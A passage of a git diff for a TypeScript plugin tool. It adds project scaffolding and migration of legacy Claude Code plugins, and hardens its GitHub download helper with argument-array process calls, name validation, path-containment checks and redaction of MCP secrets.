(error) { + const message = `Configuration function in ${displayPath} failed.`; + throw new ProjectConfigError(message, [{ + code: 'CONFIG_FUNCTION_FAILED', + severity: 'error', + message, + phase: 'config', + location: { path: displayPath }, + }], error); + } + if (value === null || typeof value !== 'object' || Array.isArray(value)) + throw new ProjectConfigError('acplugin.config.ts must export a config object or a function returning one.', [{ + code: 'CONFIG_EXPORT_INVALID', + severity: 'error', + message: 'acplugin.config.ts must export a config object or a function returning one.', + phase: 'config', + location: { path: displayPath }, + }]); + + const resolved = resolveConfig(value, configPath, options.command, options.mode); + if (!resolved.config) { + const details = resolved.diagnostics.map(diagnostic => `${diagnostic.code}: ${diagnostic.message}`).join('\n'); + throw new ProjectConfigError(details || 'Configuration is invalid.', resolved.diagnostics); + } + + return { + config: resolved.config, + loadTypeScriptModule: modulePath => importDefault(jiti, modulePath), + }; +} + +export interface RunProjectOptions extends LoadProjectConfigOptions { + targets?: readonly TargetId[]; + strict?: boolean; + commit?: boolean; +} + +export async function runProject(options: RunProjectOptions): Promise { + const loaded = await loadProjectConfig(options); + let config = loaded.config; + if (options.targets || options.strict !== undefined) { + const targetIds = options.targets ?? config.targets.map(target => target.id); + const strict = options.strict; + config = { + ...config, + targets: targetIds.map(id => ({ + id, + strict: strict ?? config.targets.find(target => target.id === id)?.strict ?? config.strict, + })), + }; + } + return buildProject({ + config, + compilers: new Map([ + ['claude-code', claudeCodeCompiler], + ['codex', codexCompiler], + ]), + loadTypeScriptModule: loaded.loadTypeScriptModule, + commit: options.commit ?? (options.command === 'build' || options.command === 'dev'), + }); +} diff --git a/packages/acplugin/src/init.ts b/packages/acplugin/src/init.ts new file mode 100644 index 0000000..bf74967 --- /dev/null +++ b/packages/acplugin/src/init.ts @@ -0,0 +1,202 @@ +import { spawn } from 'node:child_process'; +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { checkbox, input } from '@inquirer/prompts'; + +export interface InitOptions { + cwd?: string; + directory?: string; + yes?: boolean; + name?: string; + displayName?: string; + description?: string; + hooks?: boolean; + mcp?: boolean; + install?: boolean; +} + +export interface InitResult { + directory: string; + files: readonly string[]; + modules: readonly string[]; + installed: boolean; +} + +const NAME_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +function defaultName(directory: string): string { + return path.basename(directory) + .toLowerCase() + .replace(/[^a-z0-9]+/g, '-') + .replace(/^-|-$/g, '') || 'my-plugin'; +} + +function defaultDisplayName(name: string): string { + return name.split('-').map(part => part.charAt(0).toUpperCase() + part.slice(1)).join(' '); +} + +async function assertDestination(directory: string): Promise { + try { + const stat = await fs.lstat(directory); + if (!stat.isDirectory() || stat.isSymbolicLink()) + throw new Error('destination exists and is not a regular directory'); + if ((await fs.readdir(directory)).length > 0) + throw new Error('destination directory is not empty'); + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') + return; + throw error; + } +} + +function configSource(metadata: { + name: string; + displayName: string; + description: string; + hooks: boolean; + mcp: boolean; +}): string { + const imports = [`import { defineConfig } from '@tokenroll/acplugin';`]; + const modules: string[] = []; + if (metadata.hooks) { + imports.push(`import hooks from '@tokenroll/acplugin-module-hooks';`); + modules.push('hooks()'); + } + if (metadata.mcp) { + imports.push(`import mcp from '@tokenroll/acplugin-module-mcp';`); + modules.push('mcp()'); + } + return `${imports.join('\n')} + +export default defineConfig({ + name: ${JSON.stringify(metadata.name)}, + version: '0.1.0', + description: ${JSON.stringify(metadata.description)}, + displayName: ${JSON.stringify(metadata.displayName)},${modules.length + ? ` + modules: [${modules.join(', ')}],` + : ''} +}); +`; +} + +function packageSource(name: string, hooks: boolean, mcp: boolean): string { + const devDependencies: Record = { + '@tokenroll/acplugin': '^1.0.0', + '@types/node': '^20.19.0', + 'typescript': '^5.9.3', + }; + if (hooks) + devDependencies['@tokenroll/acplugin-module-hooks'] = '^1.0.0'; + if (mcp) + devDependencies['@tokenroll/acplugin-module-mcp'] = '^1.0.0'; + return `${JSON.stringify({ + name, + version: '0.1.0', + private: true, + type: 'module', + packageManager: 'pnpm@10.34.5', + engines: { node: '>=20' }, + scripts: { + dev: 'acplugin dev', + validate: 'acplugin validate', + inspect: 'acplugin inspect', + build: 'acplugin build', + typecheck: 'tsc --noEmit', + }, + devDependencies, + }, null, 2)}\n`; +} + +async function installDependencies(directory: string): Promise { + return new Promise((resolve) => { + const child = spawn('pnpm', ['install'], { cwd: directory, stdio: 'inherit' }); + child.once('error', () => resolve(false)); + child.once('exit', code => resolve(code === 0)); + }); +} + +export async function initializeProject(options: InitOptions): Promise { + const cwd = path.resolve(options.cwd ?? process.cwd()); + let directoryValue = options.directory; + if (!directoryValue) { + if (options.yes || !process.stdin.isTTY) + throw new Error('A destination directory is required in non-interactive mode; pass "." explicitly for the current directory.'); + directoryValue = await input({ message: 'Project directory', default: 'my-plugin' }); + } + const directory = path.resolve(cwd, directoryValue); + await assertDestination(directory); + + const suggestedName = defaultName(directory); + const name = options.name ?? (options.yes || !process.stdin.isTTY + ? suggestedName + : await input({ message: 'Plugin name', default: suggestedName })); + if (!NAME_PATTERN.test(name)) + throw new Error('Plugin name must be lowercase kebab-case.'); + const suggestedDisplayName = defaultDisplayName(name); + const displayName = options.displayName ?? (options.yes || !process.stdin.isTTY + ? suggestedDisplayName + : await input({ message: 'Display name', default: suggestedDisplayName })); + const description = options.description ?? (options.yes || !process.stdin.isTTY + ? `${displayName} plugin.` + : await input({ message: 'Description', default: `${displayName} plugin.` })); + if (description.trim() === '') + throw new Error('Description must not be empty.'); + + let hooksEnabled = options.hooks ?? false; + let mcpEnabled = options.mcp ?? false; + if (!options.yes && process.stdin.isTTY && options.hooks === undefined && options.mcp === undefined) { + const selected = await checkbox({ + message: 'Optional Modules', + choices: [ + { name: 'Hooks', value: 'hooks' }, + { name: 'MCP', value: 'mcp' }, + ], + }); + hooksEnabled = selected.includes('hooks'); + mcpEnabled = selected.includes('mcp'); + } + + const skillDirectory = path.join(directory, 'src', 'skills', name); + await fs.mkdir(skillDirectory, { recursive: true }); + const files = [ + 'acplugin.config.ts', + 'package.json', + 'tsconfig.json', + '.gitignore', + `src/skills/${name}/SKILL.md`, + ]; + await Promise.all([ + fs.writeFile(path.join(directory, 'acplugin.config.ts'), configSource({ name, displayName, description: description.trim(), hooks: hooksEnabled, mcp: mcpEnabled }), { flag: 'wx' }), + fs.writeFile(path.join(directory, 'package.json'), packageSource(name, hooksEnabled, mcpEnabled), { flag: 'wx' }), + fs.writeFile(path.join(directory, 'tsconfig.json'), `${JSON.stringify({ + compilerOptions: { + target: 'ES2022', + module: 'NodeNext', + moduleResolution: 'NodeNext', + strict: true, + noEmit: true, + types: ['node'], + skipLibCheck: true, + }, + include: ['acplugin.config.ts', 'src/**/*.ts'], + }, null, 2)}\n`, { flag: 'wx' }), + fs.writeFile(path.join(directory, '.gitignore'), 'node_modules\ndist\n', { flag: 'wx' }), + fs.writeFile(path.join(skillDirectory, 'SKILL.md'), `--- +description: Describe when and why to use ${displayName}. +--- +Replace this text with the focused workflow ${displayName} should perform. +`, { flag: 'wx' }), + ]); + + const installed = options.install ? await installDependencies(directory) : false; + return { + directory: path.relative(cwd, directory) || '.', + files, + modules: [ + ...(hooksEnabled ? ['@tokenroll/acplugin-module-hooks'] : []), + ...(mcpEnabled ? ['@tokenroll/acplugin-module-mcp'] : []), + ], + installed, + }; +} diff --git a/packages/acplugin/src/migration/index.ts b/packages/acplugin/src/migration/index.ts new file mode 100644 index 0000000..747a7a5 --- /dev/null +++ b/packages/acplugin/src/migration/index.ts @@ -0,0 +1,510 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import matter from 'gray-matter'; +import { input } from '@inquirer/prompts'; +import { markdownWithFrontmatter, resolveConfig, scanProject, stableJson, type Diagnostic } from '@acplugin/core'; +import { + cleanupTempDir, + downloadGitHubRepo, + getTempRoot, + parseGitHubSource, +} from './legacy/github.js'; +import { scanClaudeProject } from './legacy/scanner/claude.js'; +import { + hasMarketplace, + isSinglePlugin, + scanAllPlugins, + scanPlugin, +} from './legacy/scanner/plugin.js'; +import type { + Agent, + Command, + MCPServer, + PluginScanResult, + ScanResult, + Skill, +} from './legacy/types.js'; +import type { Hooks } from './legacy/types.js'; + +export interface MigrationOptions { + cwd?: string; + source: string; + destination?: string; + subPath?: string; + plugin?: string; + all?: boolean; + name?: string; + description?: string; + dryRun?: boolean; + strict?: boolean; +} + +export type MigrationOutcome = 'migrated' | 'degraded' | 'unmapped' | 'skipped'; + +export interface MigrationItem { + kind: string; + id: string; + outcome: MigrationOutcome; + source?: string; + destination?: string; + message?: string; +} + +export interface MigrationReport { + schemaVersion: '1'; + sourceType: 'project' | 'plugin' | 'marketplace'; + projects: readonly string[]; + items: readonly MigrationItem[]; + diagnostics: readonly Diagnostic[]; + success: boolean; + dryRun: boolean; +} + +const ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +function relative(root: string, file: string): string { + return path.relative(root, file).split(path.sep).join('/'); +} + +function safeId(value: string): string { + const id = value.toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-|-$/g, ''); + return id || 'migrated-item'; +} + +function isGitHubSource(source: string): boolean { + return source.startsWith('github:') + || /^https?:\/\/github\.com\//.test(source) + || (/^[A-Za-z0-9_-]+\/[A-Za-z0-9._-]+(?:#.+)?$/.test(source) && !path.isAbsolute(source)); +} + +async function exists(file: string): Promise { + try { + await fs.access(file); + return true; + } catch { + return false; + } +} + +async function copyText(destination: string, content: string): Promise { + await fs.mkdir(path.dirname(destination), { recursive: true }); + await fs.writeFile(destination, content); +} + +function migrateSkill(skill: Skill, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise[] { + const id = safeId(skill.dirName); + const description = skill.frontmatter.description || skill.frontmatter.when_to_use || `Migrated Skill ${id}.`; + let user = skill.frontmatter['user-invocable'] ?? true; + const model = !(skill.frontmatter['disable-model-invocation'] ?? false); + let outcome: MigrationOutcome = ID_PATTERN.test(skill.dirName) && skill.frontmatter.description ? 'migrated' : 'degraded'; + if (!user && !model) { + user = true; + outcome = 'degraded'; + } + const destination = `src/skills/${id}/SKILL.md`; + items.push({ + kind: 'skill', id, outcome, + source: relative(projectRoot, skill.sourcePath), destination, + ...(outcome === 'degraded' ? { message: 'Identity, description, or invocation required a canonical fallback.' } : {}), + }); + const writes = [copyText(path.join(outputRoot, destination), markdownWithFrontmatter({ + description, + invocation: { user, model }, + }, skill.body))]; + for (const auxiliary of skill.auxFiles) { + writes.push(copyText(path.join(outputRoot, 'src/skills', id, auxiliary.relativePath), auxiliary.content)); + } + return writes; +} + +function migrateCommand(command: Command, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise { + const id = safeId(command.name); + let body = command.content; + let description = `Migrated Command ${id}.`; + let outcome: MigrationOutcome = ID_PATTERN.test(command.name) ? 'migrated' : 'degraded'; + try { + const parsed = matter(command.content); + body = parsed.content.trim(); + if (typeof parsed.data.description === 'string' && parsed.data.description.trim()) + description = parsed.data.description.trim(); + else + outcome = 'degraded'; + } catch { + outcome = 'degraded'; + } + body = body.replaceAll('$ARGUMENTS', '{{arguments}}'); + const destination = `src/commands/${id}.md`; + items.push({ + kind: 'command', id, outcome, + source: relative(projectRoot, command.sourcePath), destination, + ...(outcome === 'degraded' ? { message: 'A canonical description or identity fallback was required.' } : {}), + }); + return copyText(path.join(outputRoot, destination), markdownWithFrontmatter({ description }, body)); +} + +function mappedModel(value: string | undefined): 'inherit' | 'fast' | 'capable' { + if (value === 'haiku') + return 'fast'; + if (value === 'sonnet' || value === 'opus') + return 'capable'; + return 'inherit'; +} + +function migrateAgent(agent: Agent, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise { + const id = safeId(agent.fileName); + const description = agent.frontmatter.description || `Migrated Agent ${id}.`; + const knownModel = agent.frontmatter.model === undefined || ['inherit', 'haiku', 'sonnet', 'opus'].includes(agent.frontmatter.model); + const outcome: MigrationOutcome = ID_PATTERN.test(agent.fileName) && agent.frontmatter.description && knownModel ? 'migrated' : 'degraded'; + const destination = `src/agents/${id}.md`; + items.push({ + kind: 'agent', id, outcome, + source: relative(projectRoot, agent.sourcePath), destination, + ...(outcome === 'degraded' ? { message: 'Unsupported legacy model/tool metadata was omitted or generalized.' } : {}), + }); + return copyText(path.join(outputRoot, destination), markdownWithFrontmatter({ + description, + model: mappedModel(agent.frontmatter.model), + }, agent.body)); +} + +function environmentReference(value: string): string | undefined { + const match = value.match(/^\$\{([A-Za-z_][A-Za-z0-9_]*)\}$/); + return match?.[1]; +} + +function remoteMcpSource(server: MCPServer): string | undefined { + if (!server.url || !['http', 'streamable-http', undefined].includes(server.type)) + return undefined; + let endpoint: URL; + try { + endpoint = new URL(server.url); + } catch { + return undefined; + } + if (endpoint.protocol !== 'https:' || endpoint.username || endpoint.password || endpoint.search || endpoint.hash) + return undefined; + const headers: Record = {}; + let auth: Record | undefined; + for (const [name, value] of Object.entries(server.headers ?? {})) { + const bearer = name.toLowerCase() === 'authorization' && value.match(/^Bearer \$\{([A-Za-z_][A-Za-z0-9_]*)\}$/); + if (bearer) { + auth = { type: 'bearer', env: bearer[1]! }; + continue; + } + const env = environmentReference(value); + if (!env) + return undefined; + headers[name] = { env }; + } + const descriptor = [ + `import { defineMcpServer } from '@tokenroll/acplugin-module-mcp';`, + '', + 'export default defineMcpServer({', + ` transport: 'http',`, + ` url: ${JSON.stringify(endpoint.href)},`, + ...(auth ? [` auth: ${JSON.stringify(auth)},`] : []), + ...(Object.keys(headers).length ? [` headers: ${JSON.stringify(headers, null, 2).replaceAll('\n', '\n ')},`] : []), + '});', + '', + ]; + return descriptor.join('\n'); +} + +function redactedMcpServer(server: MCPServer): Record { + let url = server.url; + if (url) { + try { + const parsed = new URL(url); + parsed.username = ''; + parsed.password = ''; + parsed.search = ''; + parsed.hash = ''; + url = parsed.href; + } catch { + url = ''; + } + } + return { + name: server.name, + ...(server.type === undefined ? {} : { type: server.type }), + ...(server.command === undefined ? {} : { command: server.command }), + ...(server.args === undefined ? {} : { args: server.args.map(() => '') }), + ...(server.env === undefined ? {} : { env: Object.fromEntries(Object.keys(server.env).sort().map(name => [name, ''])) }), + ...(url === undefined ? {} : { url }), + ...(server.headers === undefined ? {} : { headers: Object.fromEntries(Object.keys(server.headers).sort().map(name => [name, ''])) }), + }; +} + +async function unmapped( + outputRoot: string, + category: string, + filename: string, + content: string, +): Promise { + const destination = `.acplugin-migration/unmapped/${category}/${filename}`; + await copyText(path.join(outputRoot, destination), content); + return destination; +} + +function hookReferenceCandidates(hooks: Hooks): string[] { + const references = new Set(); + for (const matchers of Object.values(hooks)) { + for (const matcher of matchers) { + for (const hook of matcher.hooks) { + if (!hook.command) + continue; + for (const match of hook.command.matchAll(/(?:\$\{(?:CLAUDE_PLUGIN_ROOT|CLAUDE_PROJECT_DIR)\}|\$(?:CLAUDE_PLUGIN_ROOT|CLAUDE_PROJECT_DIR))\/([^\s"'`;|&]+)/g)) + references.add(match[1]!); + for (const match of hook.command.matchAll(/(?:^|[\s"'=])\.\/([^\s"'`;|&]+)/g)) + references.add(match[1]!); + } + } + } + return [...references].sort((a, b) => a.localeCompare(b, 'en')); +} + +async function copyHookReference( + sourceRoot: string, + relativePath: string, + outputRoot: string, + items: MigrationItem[], +): Promise { + const source = path.resolve(sourceRoot, relativePath); + const relation = path.relative(sourceRoot, source); + if (relation === '..' || relation.startsWith(`..${path.sep}`) || path.isAbsolute(relation)) { + items.push({ + kind: 'hook-file', id: relativePath, outcome: 'unmapped', + message: 'Referenced Hook file escapes the source project and was not copied.', + }); + return; + } + let stat: import('node:fs').Stats; + try { + stat = await fs.lstat(source); + } catch { + items.push({ + kind: 'hook-file', id: relativePath, outcome: 'unmapped', + source: relation.split(path.sep).join('/'), + message: 'Referenced Hook file does not exist and requires manual recovery.', + }); + return; + } + if (stat.isSymbolicLink()) { + items.push({ + kind: 'hook-file', id: relativePath, outcome: 'unmapped', + source: relation.split(path.sep).join('/'), + message: 'Referenced Hook symlinks are not copied.', + }); + return; + } + if (stat.isDirectory()) { + const entries = await fs.readdir(source, { withFileTypes: true }); + for (const entry of entries.sort((a, b) => a.name.localeCompare(b.name, 'en'))) + await copyHookReference(sourceRoot, path.join(relativePath, entry.name), outputRoot, items); + return; + } + if (!stat.isFile()) + return; + const normalized = relation.split(path.sep).join('/'); + const destination = `.acplugin-migration/unmapped/hook-files/${normalized}`; + const output = path.join(outputRoot, destination); + await fs.mkdir(path.dirname(output), { recursive: true }); + await fs.copyFile(source, output); + items.push({ + kind: 'hook-file', id: normalized, outcome: 'unmapped', + source: normalized, destination, + message: 'Referenced Hook implementation was preserved for manual typed migration.', + }); +} + +async function metadataFor(scan: ScanResult, options: MigrationOptions): Promise<{ name: string; version: string; description: string; displayName?: string }> { + const plugin = 'meta' in scan ? scan as PluginScanResult : undefined; + let name = options.name ?? plugin?.meta.name; + let description = options.description ?? plugin?.meta.description; + if (!name && process.stdin.isTTY) + name = await input({ message: 'Plugin name', default: safeId(path.basename(scan.rootDir)) }); + if (!description && process.stdin.isTTY) + description = await input({ message: 'Plugin description' }); + if (!name || !description) + throw new Error('Migration requires plugin name and description; pass --name and --description in non-interactive mode.'); + if (!ID_PATTERN.test(name)) + throw new Error('Migration plugin name must be lowercase kebab-case.'); + return { + name, + version: plugin?.meta.version && /^\d+\.\d+\.\d+/.test(plugin.meta.version) ? plugin.meta.version : '0.1.0', + description, + ...(plugin?.meta.displayName ? { displayName: plugin.meta.displayName } : {}), + }; +} + +async function writeCanonicalProject( + scan: ScanResult, + outputRoot: string, + options: MigrationOptions, +): Promise<{ items: MigrationItem[]; diagnostics: readonly Diagnostic[] }> { + const metadata = await metadataFor(scan, options); + const items: MigrationItem[] = []; + const writes: Promise[] = []; + for (const skill of scan.skills) + writes.push(...migrateSkill(skill, scan.rootDir, outputRoot, items)); + for (const command of scan.commands) + writes.push(migrateCommand(command, scan.rootDir, outputRoot, items)); + for (const agent of scan.agents) + writes.push(migrateAgent(agent, scan.rootDir, outputRoot, items)); + await Promise.all(writes); + + for (const [index, instruction] of scan.instructions.entries()) { + const destination = await unmapped(outputRoot, 'instructions', `${index}-${instruction.fileName}`, instruction.content); + items.push({ kind: 'instruction', id: instruction.fileName, outcome: 'unmapped', source: relative(scan.rootDir, instruction.sourcePath), destination, message: 'Instructions are outside the installable plugin boundary.' }); + } + + let usesMcp = false; + for (const server of scan.mcp?.servers ?? []) { + const id = safeId(server.name); + const source = remoteMcpSource(server); + if (source) { + const destination = `src/mcp/${id}/mcp.ts`; + await copyText(path.join(outputRoot, destination), source); + items.push({ kind: 'mcp', id, outcome: 'migrated', source: relative(scan.rootDir, scan.mcp!.sourcePath), destination }); + usesMcp = true; + } else { + const destination = await unmapped(outputRoot, 'mcp', `${id}.json`, stableJson({ [server.name]: redactedMcpServer(server) })); + items.push({ kind: 'mcp', id, outcome: 'unmapped', source: relative(scan.rootDir, scan.mcp!.sourcePath), destination, message: 'Local command or unsupported transport MCP requires a complete canonical implementation.' }); + } + } + + if (scan.hooks) { + const destination = await unmapped(outputRoot, 'hooks', 'hooks.json', stableJson({ hooks: scan.hooks })); + items.push({ kind: 'hooks', id: 'hooks', outcome: 'unmapped', destination, message: 'Raw legacy Hooks require manual typed handler migration.' }); + for (const reference of hookReferenceCandidates(scan.hooks)) + await copyHookReference(scan.rootDir, reference, outputRoot, items); + } + + for (const file of scan.pluginFiles) { + const destination = await unmapped(outputRoot, 'plugin-files', file.relativePath, file.content); + items.push({ kind: 'plugin-file', id: file.relativePath, outcome: 'unmapped', destination, message: 'Unclassified plugin files are not published automatically.' }); + } + + const imports = [`import { defineConfig } from '@tokenroll/acplugin';`]; + if (usesMcp) + imports.push(`import mcp from '@tokenroll/acplugin-module-mcp';`); + await copyText(path.join(outputRoot, 'acplugin.config.ts'), `${imports.join('\n')} + +export default defineConfig({ + name: ${JSON.stringify(metadata.name)}, + version: ${JSON.stringify(metadata.version)}, + description: ${JSON.stringify(metadata.description)},${metadata.displayName + ? ` + displayName: ${JSON.stringify(metadata.displayName)},` + : ''}${usesMcp + ? ` + modules: [mcp()],` + : ''} +}); +`); + const devDependencies: Record = { '@tokenroll/acplugin': '^1.0.0', 'typescript': '^5.9.3', '@types/node': '^20.19.0' }; + if (usesMcp) + devDependencies['@tokenroll/acplugin-module-mcp'] = '^1.0.0'; + await copyText(path.join(outputRoot, 'package.json'), stableJson({ + name: metadata.name, + version: metadata.version, + private: true, + type: 'module', + packageManager: 'pnpm@10.34.5', + scripts: { validate: 'acplugin validate', inspect: 'acplugin inspect', build: 'acplugin build', typecheck: 'tsc --noEmit' }, + devDependencies, + })); + await copyText(path.join(outputRoot, 'tsconfig.json'), stableJson({ compilerOptions: { target: 'ES2022', module: 'NodeNext', moduleResolution: 'NodeNext', strict: true, noEmit: true, types: ['node'], skipLibCheck: true }, include: ['acplugin.config.ts', 'src/**/*.ts'] })); + await copyText(path.join(outputRoot, '.gitignore'), 'node_modules\ndist\n'); + + const resolved = resolveConfig({ + ...metadata, + ...(usesMcp ? { modules: [{ name: '@tokenroll/acplugin-module-mcp' }] } : {}), + }, path.join(outputRoot, 'acplugin.config.ts'), 'validate', 'production'); + if (!resolved.config) + return { items, diagnostics: resolved.diagnostics }; + const scanned = await scanProject(resolved.config); + return { items, diagnostics: scanned.diagnostics.diagnostics }; +} + +async function assertDestination(sourceRoot: string, destination: string): Promise { + if (await exists(destination)) + throw new Error('Migration destination must not exist.'); + const relation = path.relative(sourceRoot, destination); + if (relation === '' || (!path.isAbsolute(relation) && relation !== '..' && !relation.startsWith(`..${path.sep}`))) + throw new Error('Migration destination must be outside the source tree.'); +} + +export async function migrate(options: MigrationOptions): Promise { + const cwd = path.resolve(options.cwd ?? process.cwd()); + let sourceRoot: string; + let cleanup: (() => void) | undefined; + if (isGitHubSource(options.source) && !await exists(path.resolve(cwd, options.source))) { + const source = parseGitHubSource(options.source); + if (options.subPath) + source.subPath = options.subPath; + sourceRoot = await downloadGitHubRepo(source); + const temporaryRoot = getTempRoot(sourceRoot); + cleanup = () => cleanupTempDir(temporaryRoot); + } else { + sourceRoot = path.resolve(cwd, options.source); + } + + try { + if (await exists(path.join(sourceRoot, 'acplugin.config.ts'))) + throw new Error('Source is already a canonical acplugin project.'); + const destination = path.resolve(cwd, options.destination ?? `${path.basename(sourceRoot)}-acplugin`); + await assertDestination(sourceRoot, destination); + const stageParent = options.dryRun ? os.tmpdir() : path.dirname(destination); + if (!options.dryRun) + await fs.mkdir(stageParent, { recursive: true }); + const stage = await fs.mkdtemp(path.join(stageParent, `.${path.basename(destination)}.migration-`)); + let sourceType: MigrationReport['sourceType']; + const projects: string[] = []; + const items: MigrationItem[] = []; + const diagnostics: Diagnostic[] = []; + try { + if (hasMarketplace(sourceRoot)) { + sourceType = 'marketplace'; + const plugins = scanAllPlugins(sourceRoot); + const selected = options.all ? plugins : plugins.filter(plugin => plugin.meta.name === options.plugin); + if (selected.length === 0) + throw new Error('Marketplace migration requires --plugin or --all.'); + for (const plugin of selected) { + const id = safeId(plugin.meta.name); + const projectRoot = path.join(stage, id); + const result = await writeCanonicalProject(plugin, projectRoot, options); + items.push(...result.items.map(item => ({ ...item, destination: item.destination ? `${id}/${item.destination}` : undefined }))); + diagnostics.push(...result.diagnostics); + projects.push(id); + } + await copyText(path.join(stage, 'pnpm-workspace.yaml'), `packages:\n${projects.map(project => ` - ${project}`).join('\n')}\n`); + } else { + sourceType = isSinglePlugin(sourceRoot) ? 'plugin' : 'project'; + const scan = sourceType === 'plugin' ? scanPlugin(sourceRoot) : scanClaudeProject(sourceRoot); + const result = await writeCanonicalProject(scan, stage, options); + items.push(...result.items); + diagnostics.push(...result.diagnostics); + projects.push('.'); + } + const hasLoss = items.some(item => item.outcome === 'degraded' || item.outcome === 'unmapped'); + const success = !diagnostics.some(diagnostic => diagnostic.severity === 'error') && !(options.strict && hasLoss); + const report: MigrationReport = { + schemaVersion: '1', sourceType, projects, items, diagnostics, + success, dryRun: options.dryRun ?? false, + }; + await copyText(path.join(stage, '.acplugin-migration/report.json'), stableJson(report)); + if (success && !options.dryRun) + await fs.rename(stage, destination); + else + await fs.rm(stage, { recursive: true, force: true }); + return report; + } catch (error) { + await fs.rm(stage, { recursive: true, force: true }); + throw error; + } + } finally { + cleanup?.(); + } +} diff --git a/src/github.ts b/packages/acplugin/src/migration/legacy/github.ts similarity index 51% rename from src/github.ts rename to packages/acplugin/src/migration/legacy/github.ts index f73787b..b716374 100644 --- a/src/github.ts +++ b/packages/acplugin/src/migration/legacy/github.ts @@ -1,9 +1,8 @@ import * as https from 'https'; -import * as http from 'http'; import * as fs from 'fs'; import * as path from 'path'; import * as os from 'os'; -import { execSync } from 'child_process'; +import { execFileSync } from 'child_process'; export interface GitHubSource { owner: string; @@ -12,6 +11,54 @@ export interface GitHubSource { subPath?: string; } +const OWNER_PATTERN = /^(?!-)[A-Za-z0-9-]{1,39}(? character.charCodeAt(0) < 32 || character.charCodeAt(0) === 127 || ' ~^:?*[\\'.includes(character))) + return false; + return value.split('/').every(part => part !== '' && !part.startsWith('.') && !part.endsWith('.lock')); +} + +function isInside(root: string, candidate: string): boolean { + const relation = path.relative(root, candidate); + return relation === '' || (!path.isAbsolute(relation) && relation !== '..' && !relation.startsWith(`..${path.sep}`)); +} + +function resolveInside(root: string, value: string, label: string): string { + if (value.includes('\0') || path.isAbsolute(value)) + throw new Error(`${label} must be a relative path inside the repository.`); + const resolved = path.resolve(root, value); + if (!isInside(path.resolve(root), resolved)) + throw new Error(`${label} must stay inside the repository.`); + return resolved; +} + +function repositorySubPath(root: string, subPath: string | undefined): string { + if (subPath === undefined) + return root; + const resolved = resolveInside(root, subPath, 'GitHub sub-path'); + if (!fs.existsSync(resolved)) + throw new Error(`GitHub sub-path "${subPath}" was not found.`); + const realRoot = fs.realpathSync(root); + const realResolved = fs.realpathSync(resolved); + if (!isInside(realRoot, realResolved)) + throw new Error('GitHub sub-path resolves outside the repository.'); + return realResolved; +} + /** * Parse a GitHub source string into components. * @@ -34,15 +81,15 @@ export function parseGitHubSource(source: string): GitHubSource { // Handle full GitHub URLs const urlMatch = cleaned.match( - /^https?:\/\/github\.com\/([^/]+)\/([^/]+?)(?:\.git)?(?:\/tree\/([^/]+)(?:\/(.+))?)?$/ + /^https?:\/\/github\.com\/([^/]+)\/([^/]+?)(?:\.git)?(?:\/tree\/([^/]+)(?:\/(.+))?)?$/, ); if (urlMatch) { - return { + return validateSource({ owner: urlMatch[1], repo: urlMatch[2], branch: urlMatch[3] || undefined, subPath: urlMatch[4] || undefined, - }; + }); } // Handle owner/repo#branch format @@ -54,40 +101,44 @@ export function parseGitHubSource(source: string): GitHubSource { } const parts = cleaned.split('/'); - if (parts.length < 2) { + if (parts.length !== 2) { throw new Error( - `Invalid GitHub source: "${source}". Expected format: github:owner/repo or owner/repo` + `Invalid GitHub source: "${source}". Expected format: github:owner/repo or owner/repo`, ); } - return { + return validateSource({ owner: parts[0], repo: parts[1], branch, - }; + }); } /** * Download a GitHub repo to a temp directory. - * Prefers `git clone --recurse-submodules` (handles submodules properly). - * Falls back to tarball download if git is unavailable. + * Prefers a shallow `git clone` without executing submodule downloads. + * Falls back to a GitHub-generated tarball if git is unavailable. * Returns the path to the extracted/cloned directory. */ export async function downloadGitHubRepo(source: GitHubSource): Promise { const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'acplugin-')); - - // Try git clone first (supports submodules) - if (isGitAvailable()) { - return cloneWithGit(source, tmpDir); + const verified = validateSource(source); + try { + // Try a shallow clone first. Untrusted repository submodules are not run. + if (isGitAvailable()) + return cloneWithGit(verified, tmpDir); + + // Fallback: GitHub-generated tarball download. + return await downloadTarball(verified, tmpDir); + } catch (error) { + cleanupTempDir(tmpDir); + throw error; } - - // Fallback: tarball download (no submodule support) - return downloadTarball(source, tmpDir); } function isGitAvailable(): boolean { try { - execSync('git --version', { stdio: 'pipe' }); + execFileSync('git', ['--version'], { stdio: 'pipe' }); return true; } catch { return false; @@ -96,38 +147,28 @@ function isGitAvailable(): boolean { function cloneWithGit(source: GitHubSource, tmpDir: string): string { const repoUrl = `https://github.com/${source.owner}/${source.repo}.git`; - const cloneDir = path.join(tmpDir, source.repo); + const cloneDir = path.join(tmpDir, 'repository'); - const args = ['clone', '--depth', '1', '--recurse-submodules', '--shallow-submodules']; + const args = ['clone', '--depth', '1']; if (source.branch) { args.push('--branch', source.branch); } - args.push(repoUrl, cloneDir); + args.push('--', repoUrl, cloneDir); - execSync(`git ${args.join(' ')}`, { stdio: 'pipe' }); - - let repoDir = cloneDir; - if (source.subPath) { - const subDir = path.join(repoDir, source.subPath); - if (!fs.existsSync(subDir)) { - throw new Error(`Sub-path "${source.subPath}" not found in repository`); - } - repoDir = subDir; - } - - return repoDir; + execFileSync('git', args, { stdio: 'pipe' }); + return repositorySubPath(cloneDir, source.subPath); } async function downloadTarball(source: GitHubSource, tmpDir: string): Promise { const branch = source.branch || 'HEAD'; - const tarballUrl = `https://api.github.com/repos/${source.owner}/${source.repo}/tarball/${branch}`; + const tarballUrl = `https://api.github.com/repos/${source.owner}/${source.repo}/tarball/${encodeURIComponent(branch)}`; const tarballPath = path.join(tmpDir, 'repo.tar.gz'); // Download tarball (follow redirects) await downloadFile(tarballUrl, tarballPath); // Extract tarball - execSync(`tar -xzf "${tarballPath}" -C "${tmpDir}"`, { stdio: 'pipe' }); + execFileSync('tar', ['-xzf', tarballPath, '-C', tmpDir], { stdio: 'pipe' }); // Find the extracted directory (GitHub tarballs have a top-level dir like owner-repo-sha) const entries = fs.readdirSync(tmpDir, { withFileTypes: true }); @@ -136,16 +177,7 @@ async function 